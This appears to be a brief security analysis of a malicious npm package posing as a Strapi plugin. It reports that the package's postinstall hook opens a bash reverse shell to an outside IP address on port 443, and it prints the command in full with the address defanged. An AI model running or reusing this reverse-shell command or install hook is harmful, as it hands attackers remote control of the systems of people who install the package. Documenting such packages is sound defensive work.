strapi-plugin-revs02-meeb322k@3.6.8

Analysis

The package's postinstall hook executes a reverse shell. postinstall.js runs `bash -c 'bash -i > /dev/tcp/14[.]225[.]210[.]85/443 0>&1'` via child_process.exec after a short delay, opening an interactive shell back to 14[.]225[.]210[.]85 on TCP port 443. It also writes a marker file to /tmp to confirm execution. The package description states it is a reverse shell payload for Strapi.